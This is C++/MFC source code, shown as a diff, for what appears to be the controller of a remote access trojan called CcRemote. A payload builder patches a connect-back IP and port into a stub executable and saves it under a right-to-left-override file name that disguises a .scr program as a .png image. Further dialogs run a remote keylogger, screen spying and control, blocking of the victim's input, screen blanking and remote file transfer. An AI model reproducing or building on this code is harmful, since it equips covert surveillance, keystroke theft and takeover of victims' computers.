CStringW strCurrentPathW;
CString strFile;
CString strSeverFile;
CString strCamouflageFile;
BYTE *lpBuffer = NULL;
BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 };
PWCHAR namess = (PWCHAR)names;
DWORD dwFileSize;
UpdateData(TRUE);
//////////上线信息//////////////////////
strcpy(g_myAddress.strIP, m_strIP);
g_myAddress.nPort = atoi(m_strPort);
try
{
//此处得到未处理前的文件名
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名
strCurrentPathW = strTempW;
strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\'));
strCurrentPath = strTemp;
int nPos = strCurrentPath.ReverseFind('\\');
strCurrentPath = strCurrentPath.Left(nPos);
strFile = strCurrentPath + "\\server\\loder.exe"; //得到当前未处理文件名
//打开文件
file.Open(strFile, CFile::modeRead | CFile::typeBinary);
dwFileSize = file.GetLength();
lpBuffer = new BYTE[dwFileSize];
ZeroMemory(lpBuffer, dwFileSize);
//读取文件内容
file.Read(lpBuffer, dwFileSize);
file.Close();
//写入上线IP和端口 主要是寻找0x这个标识然后写入这个位置
int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD));
memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address));
//strCamouflageFile = FindFiles("F:\\myapp\\CcRemote\\bin\\server\\", lpBuffer, dwFileSize);
//if (strCamouflageFile != "null")
//{
// int a = file.Open(strCamouflageFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
// file.Write(lpBuffer, dwFileSize);
// file.Close();
//}
//else
//{
//保存到文件
strSeverFile = strCurrentPath+"\\server.exe";
strCurrentPathW = strCurrentPathW + L"\\" + namess;
CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize);
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
file.Write(lpBuffer, dwFileSize);
file.Close();
//}
delete[] lpBuffer;
MessageBox("生成成功");
}
catch (CMemoryException* e)
{
MessageBox("内存不足");
}
catch (CFileException* e)
{
MessageBox("文件操作错误");
}
catch (CException* e)
{
MessageBox("未知错误");
}
CDialog::OnOK();
}
int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
{
int da, i, j;
if (sizes == 0) da = strlen(str);
else da = sizes;
for (i = 0; i < sizem; i++)
{
for (j = 0; j < da; j++)
if (mem[i + j] != str[j]) break;
if (j == da) return i;
}
return -1;
}

View File

@@ -0,0 +1,30 @@
#pragma once
// CBuildDlg 对话框
class CBuildDlg : public CDialog
{
DECLARE_DYNAMIC(CBuildDlg)
public:
CBuildDlg(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CBuildDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_BUILD };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnBnClickedOk();
// IP变量
CString m_strIP;
// 端口变量
CString m_strPort;
private:
int memfind(const char *mem, const char *str, int sizem, int sizes);
};

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,156 @@
#pragma once
#include "TrueColorToolBar.h"
#include "include/IOCPServer.h"
#include "resource.h"
typedef CList<CString, CString&> strList;
// CFileManagerDlg 对话框
class CFileManagerDlg : public CDialog
{
DECLARE_DYNAMIC(CFileManagerDlg)
public:
CFileManagerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CFileManagerDlg();
bool m_bIsStop;
CString m_strReceiveLocalFile;
CString m_strUploadRemoteFile;
void ShowProgress();
void SendStop();
int m_nTransferMode;
CString m_hCopyDestFolder;
void SendContinue();
void SendException();
void EndLocalRecvFile();
void EndRemoteDeleteFile();
CString m_strOperatingFile; // 文件名
__int64 m_nOperatingFileLength; // 文件总大小
__int64 m_nCounter;// 计数器
void WriteLocalRecvFile();
void CreateLocalRecvFile();
BOOL SendDownloadJob();
BOOL SendUploadJob();
BOOL SendDeleteJob();
strList m_Remote_Download_Job;
strList m_Remote_Upload_Job;
strList m_Remote_Delete_Job;
CTrueColorToolBar m_wndToolBar_Local;
CTrueColorToolBar m_wndToolBar_Remote;
void ShowMessage(char *lpFmt, ...);
CString m_Remote_Path;
BYTE m_bRemoteDriveList[1024];
CString GetParentDirectory(CString strPath);
void OnReceiveComplete();
CImageList* m_pImageList_Large;
CImageList* m_pImageList_Small;
int m_nNewIconBaseIndex; // 新加的ICON
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
CProgressCtrl* m_ProgressCtrl;
HCURSOR m_hCursor;
CString m_Local_Path;
bool FixedUploadDirectory(LPCTSTR lpPathName);
void FixedLocalDriveList();
void FixedRemoteDriveList();
void FixedLocalFileList(CString directory = "");
void GetRemoteFileList(CString directory = "");
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
HICON m_hIcon;
CStatusBar m_wndStatusBar;
CComboBox m_Remote_Directory_ComboBox;
CComboBox m_Local_Directory_ComboBox;
CListCtrl m_list_remote;
CListCtrl m_list_local;
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_FILE };
#endif
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
virtual void PostNcDestroy();
virtual BOOL OnInitDialog();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnClose();
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnLocalPrev();
afx_msg void OnRemotePrev();
afx_msg void OnLocalView();
afx_msg void OnLocalList();
afx_msg void OnLocalReport();
afx_msg void OnLocalBigicon();
afx_msg void OnLocalSmallicon();
afx_msg void OnRemoteBigicon();
afx_msg void OnRemoteList();
afx_msg void OnRemoteReport();
afx_msg void OnRemoteSmallicon();
afx_msg void OnRemoteView();
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
afx_msg void OnRemoteCopy();
afx_msg void OnLocalCopy();
afx_msg void OnLocalDelete();
afx_msg void OnRemoteDelete();
afx_msg void OnRemoteStop();
afx_msg void OnLocalStop();
afx_msg void OnLocalNewfolder();
afx_msg void OnRemoteNewfolder();
afx_msg void OnTransfer();
afx_msg void OnRename();
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnDelete();
afx_msg void OnNewfolder();
afx_msg void OnRefresh();
afx_msg void OnLocalOpen();
afx_msg void OnRemoteOpenShow();
afx_msg void OnRemoteOpenHide();
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
DECLARE_MESSAGE_MAP()
protected:
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
BOOL m_bDragging; //T during a drag operation
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
private:
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();
void SendFileData();
void EndLocalUploadFile();
bool DeleteDirectory(LPCTSTR lpszDirectory);
void EnableControl(BOOL bEnable = TRUE);
};

View File

@@ -0,0 +1,44 @@
// CHelpWindow.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CHelpWindow.h"
#include "afxdialogex.h"
// CHelpWindow 对话框
IMPLEMENT_DYNAMIC(CHelpWindow, CDialogEx)
CHelpWindow::CHelpWindow(CWnd* pParent /*=nullptr*/)
: CDialogEx(IDD_DIALOG_HELP, pParent)
{
}
CHelpWindow::~CHelpWindow()
{
}
void CHelpWindow::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_STATIC_HELP, m_PicHelp);
}
BEGIN_MESSAGE_MAP(CHelpWindow, CDialogEx)
ON_STN_CLICKED(IDC_STATIC_HELP, &CHelpWindow::OnStnClickedStaticHelp)
END_MESSAGE_MAP()
// CHelpWindow 消息处理程序
void CHelpWindow::OnStnClickedStaticHelp()
{
// TODO: 在此添加控件通知处理程序代码
ShellExecute(NULL, "open", "explorer.exe", "https://github.com/Cc28256/CcRemote", NULL, SW_SHOW);
}

View File

@@ -0,0 +1,26 @@
#pragma once
// CHelpWindow 对话框
class CHelpWindow : public CDialogEx
{
DECLARE_DYNAMIC(CHelpWindow)
public:
CHelpWindow(CWnd* pParent = nullptr); // 标准构造函数
virtual ~CHelpWindow();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_DIALOG_HELP };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CStatic m_PicHelp;
afx_msg void OnStnClickedStaticHelp();
};

View File

@@ -0,0 +1,234 @@
// CKeyBoardDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CKeyBoardDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
#define IDM_ENABLE_OFFLINE 0x0010
#define IDM_CLEAR_RECORD 0x0011
#define IDM_SAVE_RECORD 0x0012
// CKeyBoardDlg 对话框
IMPLEMENT_DYNAMIC(CKeyBoardDlg, CDialog)
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_KEYBOARD, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
}
CKeyBoardDlg::~CKeyBoardDlg()
{
}
void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT, m_edit);
}
BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_CLOSE()
ON_WM_SIZE()
END_MESSAGE_MAP()
// CKeyBoardDlg 消息处理程序
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg message handlers
BOOL CKeyBoardDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
}
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
ResizeEdit();
UpdateTitle();
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if (nID == IDM_ENABLE_OFFLINE)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_bIsOfflineRecord = !m_bIsOfflineRecord;
if (m_bIsOfflineRecord)
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
else
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
}
UpdateTitle();
}
else if (nID == IDM_CLEAR_RECORD)
{
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_iocpServer->Send(m_pContext, &bToken, 1);
m_edit.SetWindowText("");
}
else if (nID == IDM_SAVE_RECORD)
{
SaveRecord();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
void CKeyBoardDlg::OnReceiveComplete()
{
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_KEYBOARD_DATA:
AddKeyBoardData();
break;
default:
// 传输发生异常数据
SendException();
break;
}
}
void CKeyBoardDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
void CKeyBoardDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
m_edit.ReplaceSel((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
}
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
ResizeEdit();
}
void CKeyBoardDlg::ResizeEdit()
{
RECT rectClient;
RECT rectEdit;
if (m_edit.m_hWnd != NULL)
{
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_edit.MoveWindow(&rectEdit);
}
}
void CKeyBoardDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
delete this;
CDialog::PostNcDestroy();
}
bool CKeyBoardDlg::SaveRecord()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "文本文档(*.txt)|*.txt|", this);
if (dlg.DoModal() != IDOK)
return false;
CFile file;
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
{
MessageBox("文件保存失败");
return false;
}
// Write the DIB header and the bits
CString strRecord;
m_edit.GetWindowText(strRecord);
file.Write(strRecord, strRecord.GetLength());
file.Close();
return true;
}
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
{
return true;
}
return CDialog::PreTranslateMessage(pMsg);
}
void CKeyBoardDlg::UpdateTitle()
{
CString str;
str.Format("\\\\%s - 键盘记录", m_IPAddress);
if (m_bIsOfflineRecord)
str += " (离线记录已开启)";
else
str += " (离线记录未开启)";
SetWindowText(str);
}

View File

@@ -0,0 +1,48 @@
#pragma once
#include "include/IOCPServer.h"
// CKeyBoardDlg 对话框
class CKeyBoardDlg : public CDialog
{
DECLARE_DYNAMIC(CKeyBoardDlg)
public:
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
virtual ~CKeyBoardDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_KEYBOARD };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_edit;
void OnReceiveComplete();
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void PostNcDestroy();
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
private:
bool SaveRecord();
void UpdateTitle();
void ResizeEdit();
void AddKeyBoardData();
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
bool m_bIsOfflineRecord;
void SendException();
};

View File

@@ -0,0 +1,875 @@
// CScreenSpyDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CScreenSpyDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
enum
{
IDM_CONTROL = 0x0010,
IDM_SEND_CTRL_ALT_DEL,
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
IDM_BLOCK_INPUT, // 锁定远程计算机输入
IDM_BLANK_SCREEN, // 黑屏
IDM_CAPTURE_LAYER, // 捕捉层
IDM_SAVEDIB, // 保存图片
IDM_GET_CLIPBOARD, // 获取剪贴板
IDM_SET_CLIPBOARD, // 设置剪贴板
IDM_ALGORITHM_SCAN, // 隔行扫描算法
IDM_ALGORITHM_DIFF, // 差异比较算法
IDM_DEEP_1, // 屏幕色彩深度.....
IDM_DEEP_4_GRAY,
IDM_DEEP_4_COLOR,
IDM_DEEP_8_GRAY,
IDM_DEEP_8_COLOR,
IDM_DEEP_16,
IDM_DEEP_32
};
// 两种算法
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
#define ALGORITHM_DIFF 2 // 速度很慢也占CPU但是数据量都是最小的
// CScreenSpyDlg 对话框
IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog)
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SCREENSPY, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
m_lpScreenDIB = NULL;
char szPath[MAX_PATH];
GetSystemDirectory(szPath, MAX_PATH);
lstrcat(szPath, "\\shell32.dll");
m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szPath, 17/*网上邻居图标索引*/);
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
//重要的是这里这里将服务端发送来的bmp结构头和服务端屏幕大小保存起来
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
//这里就是保存bmp位图头了
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
m_bIsCtrl = false; // 默认不控制
m_nCount = 0;
m_bCursorIndex = 1;
}
CScreenSpyDlg::~CScreenSpyDlg()
{
}
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_WM_CLOSE()
ON_WM_GETMINMAXINFO()
ON_WM_HSCROLL()
ON_WM_PAINT()
ON_WM_SYSCOMMAND()
END_MESSAGE_MAP()
// CScreenSpyDlg 消息处理程序
void CScreenSpyDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
::ReleaseDC(m_hWnd, m_hDC);
DeleteObject(m_hFullBitmap);
//关闭会进来两次,为了避免崩溃判断一下
if (m_lpbmi)
delete m_lpbmi;
m_lpbmi = NULL;
if (m_lpbmi_rect)
delete m_lpbmi_rect;
m_lpbmi_rect = NULL;
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
CDialog::OnClose();
}
BOOL CScreenSpyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
//初始化菜单
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)");
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, "发送Ctrl-Alt-Del(&K)");
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪服务端鼠标(&T)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定服务端鼠标和键盘(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, "服务端黑屏(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, "捕捉层(导致鼠标闪烁)(&L)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)");
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)");
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)");
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
// TODO: Add extra initialization here
CString str;
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
SetWindowText(str);
m_HScrollPos = 0;
m_VScrollPos = 0;
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
if (CursorInfo.hbmMask != NULL)
::DeleteObject(CursorInfo.hbmMask);
if (CursorInfo.hbmColor != NULL)
::DeleteObject(CursorInfo.hbmColor);
m_dwCursor_xHotspot = CursorInfo.xHotspot;
m_dwCursor_yHotspot = CursorInfo.yHotspot;
m_RemoteCursorPos.x = 0;
m_RemoteCursorPos.x = 0;
m_bIsTraceCursor = false;
// 初始化窗口大小结构 位图的图像数据
//是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像
m_hDC = ::GetDC(m_hWnd);
m_hMemDC = CreateCompatibleDC(m_hDC);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
InitMMI();
SendNext();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CScreenSpyDlg::InitMMI(void)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
int nMinWidth = 400 + nWidthAdd;
int nMinHeight = 300 + nHeightAdd;
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
// 最小的Track尺寸
m_MMI.ptMinTrackSize.x = nMinWidth;
m_MMI.ptMinTrackSize.y = nMinHeight;
// 最大化时窗口的位置
m_MMI.ptMaxPosition.x = 1;
m_MMI.ptMaxPosition.y = 1;
// 窗口最大尺寸
m_MMI.ptMaxSize.x = nMaxWidth;
m_MMI.ptMaxSize.y = nMaxHeight;
// 最大的Track尺寸也要改变
m_MMI.ptMaxTrackSize.x = nMaxWidth;
m_MMI.ptMaxTrackSize.y = nMaxHeight;
}
void CScreenSpyDlg::SendNext(void)
{
BYTE bBuff = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
//调整最大化最小化时会调用这个函数
void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
// 如果m_MMI已经被赋值
if (m_MMI.ptMaxSize.x > 0)
memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
CDialog::OnGetMinMaxInfo(lpMMI);
}
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
SCROLLINFO si;
int i;
si.cbSize = sizeof(SCROLLINFO);
si.fMask = SIF_ALL;
GetScrollInfo(SB_HORZ, &si);
switch (nSBCode)
{
case SB_LINEUP:
i = nPos - 1;
break;
case SB_LINEDOWN:
i = nPos + 1;
break;
case SB_THUMBPOSITION:
case SB_THUMBTRACK:
i = si.nTrackPos;
break;
default:
return;
}
i = max(i, si.nMin);
i = min(i, (int)(si.nMax - si.nPage + 1));
RECT rect;
GetClientRect(&rect);
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
i = m_lpbmi->bmiHeader.biWidth - rect.right;
InterlockedExchange((PLONG)&m_HScrollPos, i);
SetScrollPos(SB_HORZ, m_HScrollPos);
PostMessage(WM_PAINT);
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
void CScreenSpyDlg::OnPaint()
{
CPaintDC dc(this); // device context for painting
// TODO: 在此处添加消息处理程序代码
// 不为绘图消息调用 CDialog::OnPaint()
if (m_bIsFirst)
{
DrawTipString("Please wait - initial screen loading");
return;
}
//这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像,
//为什么呢? 因为抓图显示图都是我们的片面想法这个api的作用就是复制
//设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图,
//将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。
BitBlt
(
m_hDC,
0,
0,
m_lpbmi->bmiHeader.biWidth,
m_lpbmi->bmiHeader.biHeight,
m_hMemDC,
m_HScrollPos,
m_VScrollPos,
SRCCOPY
);
// (BYTE)-1 = 255;
// Draw the cursor
//这里画一下鼠标的图像
if (m_bIsTraceCursor)
DrawIconEx(
m_hDC, // handle to device context
m_RemoteCursorPos.x - ((int)m_dwCursor_xHotspot) - m_HScrollPos,
